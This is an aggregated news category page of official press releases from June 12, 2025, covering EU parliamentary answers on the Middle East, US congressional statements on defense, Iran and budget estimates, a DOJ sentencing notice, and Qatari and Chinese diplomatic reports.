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Category: Middle East

  • MIL-OSI Europe: Answer to a written question – Political representation of religious minorities in Iraq – E-000638/2025(ASW)

    Source: European Parliament

    The EU supports the different Iraqi institutions in strengthening democratic and inclusive governance, with the full participation of all components of the Iraqi society, including women and youth, as well as ethnic and religious minorities.

    The need to protect and improve the situation of minorities is raised regularly by the EU on its interactions with the authorities, notably in the ongoing electoral period ahead of the 11 November 2025 legislative elections.

    Most recently, this was also conveyed by the EU side at the recent 8th EU-Iraq Inter-Parliamentary meeting held on 14 May 2025 in Brussels.

    The EU supports, empowers and is in regular contact with Iraqi civil society organisations and human rights defenders as important components of the society. In recent weeks, the EU Delegation in Iraq has held conversations with Christian, Yazidi and Mandaean-Sabaean representatives from all across Iraq.

    These discussions revealed some degree of frustration about the current minority quota seats process not resulting in better representation.

    The concrete outcome of EU engagement with civil society representatives is to improve their capacity and political participation as well as understanding of the positions of the different communities to better tackle and raise their case when interacting with both the national and regional authorities.

    Last updated: 11 June 2025

    MIL OSI Europe News –

    June 12, 2025

  • MIL-OSI Europe: Answer to a written question – Israeli demolitions of Palestinian homes in the Palestinian occupied West Bank – E-001332/2025(ASW)

    Source: European Parliament

    The EU reiterates its strong opposition to Israel’s settlement policy and actions taken in this context, including demolitions, forced displacement and settler violence.

    Widespread demolitions of Palestinian homes and structures by the Israeli authorities, coupled with a rapid expansion of settlements in the occupied West Bank through the advancement of a record number of housing units during 2025, are seriously undermining the viability of the two-state solution.

    The EU is gravely concerned that the occupation of the Palestinian territory that began in 1967 continues to this day, underlining in particular that the International Court of Justice has found that the continued presence of Israel in the occupied Palestinian territory is unlawful.

    The EU strongly condemns the demolitions of structures funded by the EU or its Member States and expects that Israel makes good the damage in accordance with international law[1].

    The EU is concerned about the escalating violence in the West Bank, with the ongoing Israeli military operation against armed militants leading to the destruction of large parts of refugee camps and the evacuation of some 40 000 Palestinians from their homes. The EU recalls the utmost importance of ensuring the protection of all civilians in military operations.

    The EU is committed to a just, comprehensive and lasting political resolution of the Israeli-Palestinian conflict based on the two-state solution, with the State of Israel and an independent, democratic, contiguous, sovereign, and viable State of Palestine[2], living side by side in peace and security and mutual recognition, and with Jerusalem serving as the future capital of both states. The EU is engaging with both sides to achieve this goal.

    • [1] The EU’s position for the 13th EU-Israel Association Council -https://data.consilium.europa.eu/doc/document/ST-6511-2025-INIT/en/pdf.
    • [2]  This designation shall not be construed as recognition of a State of Palestine and is without prejudice to the individual positions of the Member States on this issue.
    Last updated: 11 June 2025

    MIL OSI Europe News –

    June 12, 2025

  • MIL-OSI Europe: Answer to a written question – Israeli settlement products: alignment of EU policies with UN resolution – P-001801/2025(ASW)

    Source: European Parliament

    The EU has been consistently clear in its position that settlements are illegal under international law and repeatedly condemned Israel’s settlement policy and the occupation of the Palestinian territory that began in 1967.

    As reiterated by the European Council on 27 June[1] and 17 October 2024[2], the EU has recalled the requirement for Israel, in exercising its right to defend itself, to fully comply with its obligations under international law, including international humanitarian law, in all circumstances .

    EU positions and policies are fully aligned with United Nations (UN) resolutions on the status of the O ccupied Palestinian T erritory (OPT) and are therefore overall consistent with the conclusions of the International Court of Justice (ICJ) Advisory Opinion on the legal consequences arising from the policies and practices of Israel in the OPT, including East Jerusalem, of 19 July 2024[3], as regards the duty of non-recognition, the duty to distinguish in the dealings with Israel between its territory and the OPT, and the duty of non-assistance.

    With regard to the duty to distinguish in the dealings with Israel between its territory and the OPT, the EU has taken care to fully comply with the obligations set out in paragraph 278 of the ICJ Advisory Opinion of 19 July 2024 and point 4(d) of the UN General Council resolution of 13 September 2024[4].

    The Commission continues to monitor the situation in the OPT and has already listed nine individuals and five entities under the EU Global Human Rights Sanctions Regime for serious and systematic human rights abuses against Palestinians in the West Bank.

    The EU is firmly committed to a lasting and sustainable peace and has spared no effort to work with partners to revive the political process towards the implementation of a two-state solution.

    • [1] https://www.consilium.europa.eu/media/qa3lblga/euco-conclusions-27062024-en.pdf.
    • [2] https://www.consilium.europa.eu/media/2pebccz2/20241017-euco-conclusions-en.pdf.
    • [3] Summary of the Advisory Opinion of 19 July 2024, https://www.icj-cij.org/node/204176.
    • [4] https://docs.un.org/en/A/ES-10/L.31/Rev.1.
    Last updated: 11 June 2025

    MIL OSI Europe News –

    June 12, 2025

  • MIL-OSI Europe: Answer to a written question – Denunciation of statements by the President of Azerbaijan in support of the illegal separatist entity in Cyprus and the intention to recognise it – E-001498/2025(ASW)

    Source: European Parliament

    The High Representative/Vice-President of the Commission (HR/VP) has repeatedly refuted actions and statements aimed at upgrading the international status of the so-called, internationally not recognised, ‘Turkish Republic of Northern Cyprus’, which undermine efforts of the United Nations Secretary General to create an environment conducive to settlement talks.

    The EU recognises only the Republic of Cyprus as a subject of international law, in accordance with the relevant United Nations Security Council (UNSC) resolutions.

    The EU expects the same from its partners, who need to respect the sovereignty and territorial integrity of all states within the framework of all international and regional fora, and to refrain from taking any steps that run contrary to this principle.

    This message has been clearly conveyed to the Azerbaijani authorities and the EU will continue to raise it at all levels in its political dialogue with Azerbaijan, as it was the case during HR/VP visit to Baku on 25 April 2025.

    The EU has monitored with concern developments since the Organisation of Turkic States (OTS) Summit in Samarkand, in November 2022, regarding the acceptance of the Turkish Cypriot Community as an observer to this organisation.

    A s tatement of the European External Action Service Spokesperson was issued, expressing a clear position about these developments[1]. The EU has actively and continuously expressed these preoccupations to the members of the OTS, at all levels.

    This has been done through HR/VP statements, lately in July (after the informal OTS Summit in Azerbaijan)[2] and November 2024 respectively[3].

    The EU remains fully committed to ensuring that the above-mentioned UNSC resolutions and generally recognised principles and norms of international law, particularly with respect to the sovereignty, independence and integrity of states, are fully upheld.

    • [1] https://www.eeas.europa.eu/eeas/cyprus-statement-spokesperson-observer-status-turkish-cypriot-secessionist-entity-organisation_en?s=230.
    • [2] https://www.eeas.europa.eu/node/443430_fr.
    • [3] https://www.eeas.europa.eu/eeas/ots-statement-hrvp-josep-borrell-attempts-legitimise-turkish-cypriot-secessionist-entity_en.

    MIL OSI Europe News –

    June 12, 2025

  • MIL-OSI Africa: Minister of State at the Ministry of Foreign Affairs Meets Officials on Sidelines of Oslo Forum for Peace

    Source: Government of Qatar

    Oslo, June 11, 2025

    HE Minister of State at the Ministry of Foreign Affairs Dr. Mohammed bin Abdulaziz bin Saleh Al Khulaifi held separate meetings today with HE Minister of Foreign Affairs of the Kingdom of Norway Espen Barth Eide, HE Minister of Foreign Affairs and Expatriates of the Syrian Arab Republic Asaad Al Shibani, HE Minister of International Development of the Kingdom of Norway Asmund Aukrust, HE State Secretary at the Ministry of Foreign Affairs of the Kingdom of Norway Andreas Kravik, HE Deputy Minister of Foreign Affairs of the Republic of Turkiye Burhanettin Duran, HE Deputy Minister of Foreign Affairs of the Islamic Republic of Iran Dr. Majid Takht-Ravanchi, and HE Commissioner for Human Rights in the Ukrainian Parliament Dmytro Lubinets.

    The meetings took place on the sidelines of the annual Oslo Forum for Peace held in the Norwegian capital, Oslo.

    During the meetings, the parties reviewed bilateral cooperation and ways to support and enhance it, in addition to discussing a number of regional and international issues.

    MIL OSI Africa –

    June 12, 2025

  • MIL-OSI USA: S. 259, Foreign Adversary Communications Transparency Act

    Source: US Congressional Budget Office

    S. 259 would require the Federal Communications Commission (FCC) to publish annually a list of entities with ties to China, Iran, North Korea, or Russia that hold licenses or authorizations granted by the commission.

    Based on information from the FCC, CBO expects that the agency would need five employees, at an annual average cost of $225,000 per employee, for the first two years, to review existing grants of authority, and two employees after 2027 to review new applications and changes in ownership. On that basis, CBO estimates that it would cost the FCC $4 million over the 2025-2030 period to issue rules and identify whether any of those four nations hold equity or a voting interest in organizations that have an authorization, license, or other grant of authority issued by the commission. Because the FCC is authorized to collect fees each year sufficient to offset the appropriated costs of its regulatory activities, CBO estimates that the net cost to the FCC would be negligible, assuming appropriation actions consistent with that authority.

    If the FCC increases annual fee collections to offset the costs of implementing provisions in the bill, S. 259 would increase the cost of an existing private-sector mandate on entities required to pay those fees. CBO estimates that the incremental cost of the mandate would be small and would fall well below the annual threshold established in the Unfunded Mandates Reform Act (UMRA) for private-sector mandates ($206 million in 2025, adjusted annually for inflation).

    The bill contains no intergovernmental mandates as defined in UMRA.

    The CBO staff contacts for this estimate are Margot Berman (for federal costs) and Rachel Austin (for mandates). The estimate was reviewed by H. Samuel Papenfuss, Deputy Director of Budget Analysis.

    Phillip L. Swagel

    Director, Congressional Budget Office

    MIL OSI USA News –

    June 12, 2025

  • MIL-OSI USA: McConnell Opening Statement at SAC-D Hearing on FY 26 Budget Request for the Department of Defense

    US Senate News:

    Source: United States Senator for Kentucky Mitch McConnell

    Washington, D.C. – U.S. Senator Mitch McConnell (R-KY), Chairman of the Senate Appropriations Subcommittee on Defense, convened today’s hearing “A Review of the President’s Fiscal Year 2026 Budget Request for the Department of Defense”. Prepared text of his opening statement follows: 

    “Secretary Hegseth, General Caine, Ms. MacDonnell, welcome. My colleagues and I are looking forward to your candid testimony. 

    “There’s no doubt that the global threat environment demands from us an uncompromisingly lethal force. And your efforts over recent months to renew the Department’s focus on lethality – and your attention to the concerns of servicemembers at the tip of the spear – are worthwhile and appreciated. 

    “Of course, sustaining this shift requires a clear strategy and adequate investments in capabilities. So we’re looking forward to hearing, in detail: What, exactly, the Office of Management and Budget is requesting on behalf of the Department of Defense for the coming fiscal year…And whether this budget flows from a strategy or instead defines and limits a strategy. 

    “This hearing will be the first public demonstration of what we hope to be a productive relationship between the Subcommittee and the Department. In the past, this relationship has functioned best when it’s been based on timely and forthcoming communication. 

    “Last year, details from the Department and the services about their growing requirements informed the Subcommittee’s efforts to mark up a bill to provide the military with $18.8 billion in resources above President Biden’s FY25 request. But that didn’t become law. Regrettably, the CR we’re under right now was yet another missed opportunity that compounded the constraints facing the Department today. 

    “On this subcommittee, you’ll find plenty of support for the Department’s efforts to – for example – improve air and missile defense systems, grow the pipeline for unmanned technologies, modernize our nuclear triad, and expand shipbuilding capacity. But lumping reconciliation spending in with full-year appropriations risks conflating different objectives. Chairman Wicker and his House counterpart have pointed out already that even an important, one-time investment in military modernization is not a substitute for steady growth in the annual budget topline. In fact, it may well end up functioning as a shell-game to avoid making the most significant annual investments that we spent years urging the Biden Administration to make. 

    “I struggle to understand why the Administration would cut procurement funding in the base FY26 budget by $14.4B and move funding for programs that have strong bipartisan support to a simple-majority reconciliation bill. The FY26 annual request seems to do just this for Virginia class submarines, Arleigh Burke class destroyers, and B-21 bombers. Like with critical munitions, we should send the Services and industry a sustained demand signal by incorporating them into annual appropriations. 

    “If we’re really serious about making the sustained, long-term investments in our military, then let’s do more than a one-time injection of funding. If the Administration wants to request a trillion-dollar defense budget for FY26 and make a full-year investment in urgent priorities and new programs, they ought to do it. 

    “In the meantime, let’s not overstate the FY26 request. The Administration’s requested base defense budget is lower than fifteen of the last twenty annual requests…including President Biden’s request for FY25. In fact, FY26 extends your predecessors’ streak to five straight base budget requests that would fail to keep pace with inflation – let alone with the pacing threat of China. But say we do take reconciliation into account. Even then, this is hardly the largest funding request for the Department of Defense. 

    “In constant dollars, the FY26 Department of Defense budget request still falls short of the annual funding requests from FY08, FY09, FY10, and FY11. As a share of GDP, even including reconciliation, the FY26 request is still just around 3%. That’s not just half the level of the Reagan buildup that secured peace through strength… it’s even less than the 4.5% of GDP requested for defense under President Carter. 

    “Why should we expect our allies to spend 5% of GDP on defense if we’re investing barely half that share? The failure to spend more on defense is compounded by another dynamic. Every year, a greater share of the defense budget goes to cover costs other than modernizing and procuring new weapons and equipment for our fighting forces. 

    “Without additional resources, rising Personnel and Operations & Maintenance costs risk crowding out new capabilities. How we allocate taxpayer dollars is an expression of our political will. We can’t expect our adversaries to take American hard power seriously if we don’t put our money where our mouth is. But as I mentioned, we’re also interested in your articulation of the strategy that informs – or is informed by – the Administration’s budget. How does that strategy account for adversary alignment? How does it address not only the threat of conflict in the Indo-Pacific, but the reality of conflict and military threats to our interests in Europe and the Middle East? 

    “Most of us on this panel believe that Russia’s war in Ukraine, its alignment with the aims of other U.S. adversaries, and its eventual outcome are profoundly important to American interests and offer more than just a glimpse into the future of warfare. 

    “I’d like to hear your views on this conflict. Who is the aggressor? What are the stakes for America and the West? What is the return on investment of our assistance to Ukraine? I don’t see funding for the Ukraine Security Assistance Initiative in your budget request. Is it the Administration’s view that terminating security assistance to Ukraine will make lasting peace more or less likely? 

    “What lessons is the U.S. military learning from the conflict? How will the Department or industry continue to learn if we cut off our partnership with the world’s leading battlefield innovators? Why would Asian partners trust us if we abandon partners in Europe? What lessons are China, Iran, and North Korea learning? And how much more will they benefit if Russia prevails? 

    “I’d like to hear your views on the impact of war in Europe on other theaters. The Asian and Pacific allies you just met with recently are under no delusions about how unchecked Russian aggression influences the calculus of Xi Jinping. They understand that strategic alignment among adversaries is global. 

    “America must recognize, in turn, that the risk of simultaneous conflict on multiple fronts is real and growing. Your Undersecretary for Policy acknowledged this reality in his confirmation hearing this spring. But the capabilities America needs to prevail in such a conflict do not seem to be reflected in the request we’ve received from OMB. 

    “So, there’s a lot we need to cover today. We’ll invite you to make opening comments in just a moment. But first, I’ll recognize Ranking Member Coons.”

     

    MIL OSI USA News –

    June 12, 2025

  • MIL-OSI Security: Memphis Man Sentenced to 17 Years for Trafficking 17-Year-Old Female to Perform Commercial Sex Acts

    Source: US FBI

    NEW ORLEANS, LA – Acting U.S. Attorney Michael M. Simpson announced that DOMINIQUE PEEPLES (“PEEPLES”), age 28, from Memphis, Tennessee, was sentenced on May 28, 2025, after previously pleading guilty to Sex Trafficking of a Minor, in violation of Title 18, United States Code, Sections 1591(a)(1), 1591(b)(2), 1594(a), and 2.

    According to court documents, PEEPLES brought a seventeen-year-old female (“Minor Victim”) from Memphis, Tennessee to New Orleans, Louisiana; Jackson, Mississippi; and Houston, Texas, and required her to engage in commercial sex acts.  During this time, PEEPLES was aware of Minor Victim’s age.  PEEPLES advertised Minor Victim on websites commonly used to advertise sexual services in exchange for money and kept all or most of the proceeds from her work.   PEEPLES waited in a vehicle and watched Minor Victim while she solicited commercial sex “dates.”  Minor Victim worked under PEEPLES’ supervision between August of 2020 and her escape in mid-January 2021.  After Minor Victim ran away, PEEPLES posted a video on social media in which he boasted about exploiting Minor Victim and pointed firearms at the screen.

    U.S. District Court Judge Sarah S. Vance sentenced PEEPLES to seventeen (17) years in prison.  PEEPLES was also sentenced to ten (10) years of supervised release after release from prison. Judge Vance further ordered PEEPLES to pay $120,000 in restitution to Minor Victim, and a $100 mandatory special assessment fee.  PEEPLES will also have to register as a sex offender.

    This case was part of a broader investigation involving defendants JEREMY TALBERT and MACEO ROBERTS, both of whom have pleaded guilty for related sex trafficking crimes.  In February 2025, U.S. District Court Judge Susie Morgan sentenced ROBERTS to 22.5 years of imprisonment for conspiring to traffic three minors and two adults.  In March 2025, U.S. District Court Judge Lance Africk sentenced TALBERT to 18 years for trafficking a fourteen-year-old minor to New Orleans.

    These cases were brought as part of Project Safe Childhood, a nationwide initiative to combat the growing epidemic of child sexual exploitation and abuse launched in May 2006 by the Department of Justice.  Led by United States Attorneys’ Offices and the Criminal Division’s Child Exploitation and Obscenity Section (CEOS), Project Safe Childhood marshals federal, state and local resources to better locate, apprehend and prosecute individuals who exploit children via the Internet, as well as to identify and rescue victims.  For more information about Project Safe Childhood, please visit www.justice.gov/psc.

    Acting U.S. Attorney Simpson praised the work of the Federal Bureau of Investigation, the New Orleans Police Department, and the Memphis Police Department in investigating this matter.  Assistant United States Attorneys Maria M. Carboni of the Financial Crimes Unit and Jordan Ginsberg, Supervisor of the Public Corruption Unit, are in charge of the prosecution.

    MIL Security OSI –

    June 12, 2025

  • MIL-OSI USA: PASSED THE SENATE: Senators Hassan, Ernst, Slotkin, and Banks’s Bipartisan Legislation to Crack Down on Foreign Adversaries Directing Violent Crimes in the U.S.

    US Senate News:

    Source: United States Senator for New Hampshire Maggie Hassan
    WASHINGTON – The U.S. Senate unanimously passed a bipartisan bill introduced by U.S. Senators Maggie Hassan (D-NH), Joni Ernst (R-IA), Elissa Slotkin (D-MI), and Jim Banks (R-IN) to increase criminal penalties for individuals who commit, or attempt to commit, violent crimes in the United States on behalf of foreign adversaries. The DETERRENCE Act would both hold offenders accountable and deter criminals, including criminal organizations, from taking money from foreign adversaries in exchange for committing crimes on American soil. 
    “It is a direct assault on our national security when foreign adversaries recruit criminals to commit violence on American soil,” said Senator Hassan. “This bipartisan legislation will strengthen criminal penalties on gangs and criminals who engage in violent behavior on behalf of a foreign government. The Senate has sent a clear message that such behavior will be met with severe consequences, and I urge my colleagues in the House to quickly pass this bill to strengthen our national security.” 
    “America will not allow foreign adversaries, like Iran, to finance violent crimes on our soil,” said Senator Ernst. “Peace through strength is back and that includes right here at home. I look forward to the House swiftly passing this commonsense bill to create severe consequences for those who wish to harm our citizens.”
    “If you commit crimes in America on behalf of foreign adversaries, you must face serious consequences,” said Senator Slotkin. “The bipartisan Deterrence Act helps strengthen penalties for these crimes and sends a clear message about how seriously we take our national security and how we will hold accountable those who commit crimes against our nation.”
    Under the DETERRENCE Act, criminals working for foreign adversaries can be sentenced to longer prison sentences. The bill specifically increases criminal penalties for the following federal crimes when the crimes are committed under U.S. jurisdiction on behalf of foreign governments: 
    Engaging in a murder-for-hire scheme 
    Murdering or attempting to murder certain federal officials, including the President
    Murdering or attempting to murder certain former federal officials, or their families, because of their official actions 
    Assaulting certain former federal officials, or their families, because of their official actions 
    Kidnapping or attempted kidnapping 
    Threats of violence using a dangerous weapon against certain current and former federal officials, as well as their families, because of their official actions 
    Stalking 
    This legislation follows reports that foreign adversaries are increasingly turning to criminals to commit violent crimes against their critics, including those who reside in the United States. In November, the Department of Justice (DOJ) charged an Iranian asset and two members of his criminal network for their alleged involvement in a plot to murder a U.S. citizen who has spoken out against the Iranian regime. Senators Hassan, Ernst, and a bipartisan group of colleagues previously wrote to DOJ calling for more information – and discussing the need for increased criminal penalties – to address this troubling trend of foreign-directed violence. 

    MIL OSI USA News –

    June 12, 2025

  • MIL-OSI USA: Scalise Corrects Record on Faulty CBO Projections

    Source: United States House of Representatives – Congressman Steve Scalise (1st District of Louisiana)

    WASHINGTON, D.C.—Today, House Majority Leader Steve Scalise (R-La.) joined Speaker Mike Johnson (R-La.), House Majority Whip Tom Emmer (R-Minn.), Conference Chairwoman Lisa McClain (R-Mich.), and Congressman Mark Messmer (R-Ind.) to discuss how the One Big Beautiful Bill will reduce our deficit and unleash economic growth. Leader Scalise slammed the Congressional Budget Office’s false projections, noting their history of miscalculating opportunities for economic growth like they did with the 2017 Tax Cuts and Jobs Act. Leader Scalise highlighted how House Republicans will continue to rally around legislation that protects taxpayer dollars, pointing to the White House-requested rescissions package that Leader Scalise is bringing to the House Floor next week. Additionally, Leader Scalise condemned the horrific antisemitic terror attacks that continue around the country.

    Click here or the image above to view Leader Scalise’s full remarks. 
    On the rise in antisemitic terror attacks:“We all mourn those who were the victims of these attacks here in Washington, D.C., as well as in Boulder, Colorado. And it just unfortunately highlights this continued antisemitism we’ve seen around the country. Last week, I met with Jewish leaders, and they’re understandably concerned about this trend that keeps going on. It’s been going on for years. You know, you go back to October 7th, and ever since then, it’s been a growing equivocation between almost trying to equivocate what the people who attacked and murdered Jews in Israel and Americans and kept hostages with those in Gaza who we’ve seen what Gaza has become in and all of those who want to clean up Gaza. President Trump has made it clear, Prime Minister Netanyahu has made it clear, they want to turn Gaza back into a place where you don’t have to fear for your life that it’s going to be a terrorist hotbed. And yet there are people there that want to sympathize with the very terrorists who want to continue to not only carry out evil against Israelis, but against people here in America and all across the globe. It’s got to stop. We’re going to continue to bring legislation on the House Floor to address it.”On House Republicans unifying around reconciliation:“Now, I do want to talk about the one big beautiful bill. This House came together in a way that maybe surprised some people here in Washington. We’ve defied the odds every step of the way, from the first vote on the budget to the second vote on the budget to final passage. But there’s a reason for that.“And, you know, as the Whip just said, we’ve said all along, failure is not an option. I’ve been asked by some in the press, ‘What’s plan B?’ when there were reports that the bill was going to fail. And we were very clear, and it wasn’t just a talking point, we said there is no plan B. The American economy, the voters of this country demanded that Congress deliver on the promises that President Trump made to get this country turned around. And what we do in this bill delivers on so many different fronts to help grow America’s economy, to create jobs, to put more money in the pockets of hardworking families. That’s been the focus of this bill from the very beginning.”On CBO’s history of miscalculating economic growth: “I think there are some people that start reading too many Congressional Budget Office reports and ignore the lessons of history. And there’s an old saying that if you ignore the lessons of history, you’re doomed to repeat it. But I think it’s important to go down that road of history and go back to 2017. You don’t need to go back that far to see how wrong the CBO has been when it comes time to make prognostications on economic growth. They’ve always been wrong, and they’ve always ignored what tax cuts will do to grow the American economy. In 2017, when we started this process, when President Trump came in and said, ‘We’re going to make America competitive again,’ we were at a 35% corporate rate, and we were losing jobs all across the globe. Every month, you’d see a great American company move to a foreign country, and they would take the jobs along with them. Millions of jobs were leaving America. They were called inversions. You don’t maybe know that term as well anymore, because we haven’t had an inversion since we passed TCJA in 2017.“But if you go back, look at what CBO said about that bill. They said it would cost a decrease in revenue to the tune of one and a half trillion dollars. One and a half trillion. Now you go look at the numbers, they were off by more than one and a half trillion dollars. Because what they left out of that report, just like they’re leaving it out again, CBO is making the same mistakes. They ignore economic growth. What we saw in 2017 when we cut taxes is that businesses started growing. They started giving pay raises to their workers. They hired millions more people. Unemployment went virtually to zero. Inflation dropped dramatically. People had more money in their pockets because wages were up.And all of those things produced more money for the American Treasury. It all happened, and yet CBO failed to recognize that. And they’re making the same mistake again. And anybody who repeats CBO’s analysis is also making those same mistakes.”On the historic growth this bill will generate for hardworking Americans:“If you ignore the growth that will come with keeping tax rates low, with helping businesses invest more in their workers, giving pay raises, putting more money in the pockets of waiters and waitresses, overtime workers not having to pay taxes on overtime, bonus depreciation, immediate expensing, all the things that will generate economic growth and ultimately put more money in the pockets of workers and send more money up to the federal Treasury here in Washington. CBO missed all of that in 2017, and they’re missing it again this time. That’s the only way they’ve come to a conclusion that it would increase the deficit. This bill will actually reduce the deficit if you recognize the historical economic growth that has always been there. To say you’re going to get 1.8% growth, at a minimum, we think you can get 2.5 to 4% growth. Scott Bessent, the Treasury Secretary, says over 4% economic growth. So I get that, you know, we’ve got to play by the rules of the referee, but the referee has been wrong. You know, we got a referee that tries to sack our quarterback a lot, and yet we still manage to play by those rules and deliver for the American people. Because when this bill is passed and signed into law, hopefully by July 4th, when the Senate does their work, you’re going to see economic growth in this country like we haven’t seen in generations, meaning more pay in the pockets of workers. And you’re going to see more Treasury money coming in because of the growth in the American economy. It’s happened before, and it will happen again. We just need to keep moving forward. And the Senate’s got the bill now, and I’m confident they’re going to move it on and ultimately back to us to the president’s desk.”On putting the rescissions package on the House Floor:“And finally, you saw yesterday the White House sent the rescissions package. This is the first maybe of many. We are now putting that in bill format. We’ll file that bill hopefully by tomorrow and then bring it up to the floor quickly and get rid of more waste, fraud, and abuse in the federal government. This will deal with, obviously, the abuses we all saw at USAID, NPR, and public broadcasting. So those are the things that are going to be in this rescissions package. We’re going to continue working with President Trump to root out waste, fraud, and abuse and get the American economy turning around again.”

    MIL OSI USA News –

    June 12, 2025

  • MIL-OSI China: Chinese vice premier attends opening ceremony of 2nd Belt and Road Conference on Science and Technology Exchange

    Source: People’s Republic of China – State Council News

    Chinese vice premier attends opening ceremony of 2nd Belt and Road Conference on Science and Technology Exchange

    Chinese Vice Premier Ding Xuexiang, also a member of the Standing Committee of the Political Bureau of the Communist Party of China Central Committee, attends the opening ceremony of the second Belt and Road Conference on Science and Technology Exchange and delivers a keynote speech, in Chengdu, southwest China’s Sichuan Province, June 11, 2025. [Photo/Xinhua]

    CHENGDU, June 11 — Chinese Vice Premier Ding Xuexiang on Wednesday attended and delivered a keynote speech at the opening ceremony of the second Belt and Road Conference on Science and Technology Exchange in Chengdu, Sichuan Province.

    Ding, who is also a member of the Standing Committee of the Political Bureau of the Communist Party of China Central Committee, said that China has been working with all parties to continuously implement the science and technology innovation cooperation plan under the Belt and Road Initiative, injecting strong impetus into the high-quality Belt and Road cooperation.

    He called for enhanced solidarity and cooperation, deeply implementing the International Science and Technology Cooperation Initiative, and promoting scientific and technological innovation to better benefit humanity.

    Ding called for efforts to further strengthen the open cooperation in scientific and technological innovation and jointly explore a new model of global scientific and technological cooperation that is mutually beneficial and leads to win-win outcomes. Moreover, he emphasized the importance of supporting relevant research institutions, universities, enterprises and think tanks of various countries to establish cooperation networks, and to work together to solve major scientific and technological problems.

    All parties should further promote the inclusive sharing of scientific and technological achievements, enhance the accessibility of science and technology, and make the achievements of scientific and technological innovation to better benefit all countries, especially those in the Global South, he said.

    All parties should further expand exchanges in science, technology and culture, strengthen innovation partnerships, and widely carry out various forms of exchanges such as mutual visits, student exchanges, technical training and academic conferences, he said.

    He urged further improvement of the global governance system for science and technology to properly address potential rule conflicts, social risks and ethical challenges brought by the development of science and technology. He also highlighted the need to oppose politicizing scientific and technological cooperation and overstretch the concept of security.

    Iran’s Vice-President of Science, Technology and Knowledge-Based Economy Hossein Afshin, Uzbekistan’s Deputy Prime Minister Ramatov Achilbay Jumaniyazovich, and Deputy Speaker of the National Assembly of Serbia Marina Ragus also attended and addressed the opening ceremony.

    About 1,500 people, including Chinese and international scientific and technological professionals, business leaders, government officials and representatives of international organizations, attended the opening ceremony.

    MIL OSI China News –

    June 12, 2025

  • MIL-OSI USA: ICYMI: Chair Emeritus McCaul on “Fox News Sunday”

    Source: United States House of Representatives – Congressman Michael McCaul (10th District of Texas)

    WASHINGTON – U.S. Congressman Michael McCaul (R-Texas) — chairman emeritus of the House Foreign Affairs and Homeland Security Committees — joined Shannon Bream on “Fox News Sunday” to discuss the latest on the war in Ukraine, the threat posed by Iranian nuclear proliferation, and the Trump administration’s efforts to protect the homeland from violent illegal immigrants.

    Click to Watch

    Excerpts from the interview:

    On ceasefire negotiations between Ukraine and Russia:

    “I think we have to be clear-eyed as to who Mr. Putin is. He has not come to the negotiating table. He is not called for ceasefire like Zelensky. And if you look at the targets that were hit by Ukraine — these were the bombers that carried the cruise missiles …. As opposed to [Putin’s targets]: apartment complex buildings, schools, you know, maternity hospitals and churches. Killing civilians is a criminal act actually, according to the Geneva Convention. So, it’s a very different playing field.

    “How do we get them to the table though? I do think we need a negotiated settlement. We’re not going to have a storm to Berlin like in World War II [with an] unconditional surrender. So you have to put pressure [on Putin]. How do you do that? Secondary sanctions, and secondly, keep the flow of weapons going into Ukraine to pressure Mr. Putin to act in good faith. I have little confidence in him.”

    On Ukraine’s Operation Spiderweb and the United States’ ability to respond to similar threats:

    “I think what we saw take place was a mastermind counter offensive. It was a seismic change in modern warfare technology — where you can take a very inexpensive little drone and take out a very expensive, big bomber that drops cruise missiles. I mean, it changes everything on its head, and I know the Pentagon’s looking at this from a standpoint of ‘how can we defend [against] this?’ We don’t have the countermeasures to block these UAVs, and we need to develop those because that will be the future of warfare.”

    On the threat of Iranian nuclear proliferation:

    “Trump says [any deal must have] zero enrichment. He is right about that because if [the Iranians] have enrichment, they get a bomb. So, you know, I think you have to give the diplomats a chance, right? And then when diplomacy breaks down, you have war. There’s no question in my mind, coming out of that meeting, what Mr. Netanyahu’s intentions are, and that is to strike Iran when the negotiations go bad. The question [for Israel] is going to be, what will be the United States’ role? … The retaliation from Iran will be severe, and we have a lot of troops there — US citizens there. They’ll hit Jordan, they’ll hit Saudi Arabia, and they’ll hit Israel. And we are the only country along with Israel that can stop all this from coming in.”

    On the Trump administration’s efforts to protect the Homeland from violent illegal immigrants:

    “The Supreme Court had its order. He was returned to the United States, but now it’s time for our justice. … For 20 years he had a smuggling operation, including smuggling MS-13 gang members, according to the indictment when he came back in. I would argue, to him, you’re probably better off than El Salvador than facing these kinds of charges, and this is precisely the [type of] case that Donald Trump ran on that got him a mandate from the American people.

    “They’re tired of seeing this, and what I’m amazed at — and I saw it at our hearing with Secretary Noem — is seeing the Democrats hold Mr. Garcia up as if he’s some golden boy poster child that they all rally behind when he’s in fact related to MS- 13, a trafficker, he beats his wife. I mean, it’s hardly a model for the Democratic party. I think they’re making a terrible mistake politically, and we saw that play out in the last election.”

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    MIL OSI USA News –

    June 12, 2025

  • MIL-OSI USA: McCaul Returns from Middle East with Bipartisan Delegation

    Source: United States House of Representatives – Congressman Michael McCaul (10th District of Texas)

    WASHINGTON – House Foreign Affairs Committee Chairman Emeritus Michael McCaul (R-Texas) returned from a congressional delegation (CODEL) trip to the Middle East. The delegation was led by Congressman Mike Lawler (R-N.Y.), chairman of the House Foreign Affairs Subcommittee on the Middle East and North Africa, and joined by Congresswoman Sheila Cherfilus-McCormick (D-Fla.), ranking member of the Middle East and North Africa Subcommittee. The congressmembers met with heads of state, defense officials, and diplomats in the Kingdom of Saudi Arabia, Israel, and the Kingdom of Jordan.

    Building on the momentum of President Trump’s recent visit to the region, the CODEL engaged with regional leaders to advance shared interests, address ongoing challenges, and reinforce America’s commitment to peace in the Middle East. They also explored new opportunities for economic cooperation and investment, especially in AI and emerging technologies across Saudi Arabia and the Gulf states.

    “Amidst President Trump’s efforts to end the war in Gaza and secure normalization agreements, I was honored to visit several of our allies and partners in the Middle East,” said Chair Emeritus McCaul. “These nations will play pivotal roles in shaping the future of the region — a future defined by peace and prosperity. I am grateful to our friends in the Kingdom of Saudi Arabia, Israel, and the Kingdom of Jordan for welcoming us, and I look forward to our continued partnership with these regional leaders as we work toward greater peace and stability across the Middle East.” 

    “This CODEL served as a vital opportunity to strengthen our alliances, confront shared threats, and demonstrate bipartisan American leadership in support of our partners,” said Congressman Lawler. “As Chairman of the MENA Subcommittee, I remain committed to deepening U.S. engagement in the region and working with our partners to build a more secure, prosperous, and stable Middle East.”

    In Riyadh, the delegation held high-level meetings with Minister of State for Foreign Affairs H.E. Adel Al-Jubeir and engaged with key U.S. defense and technology companies.

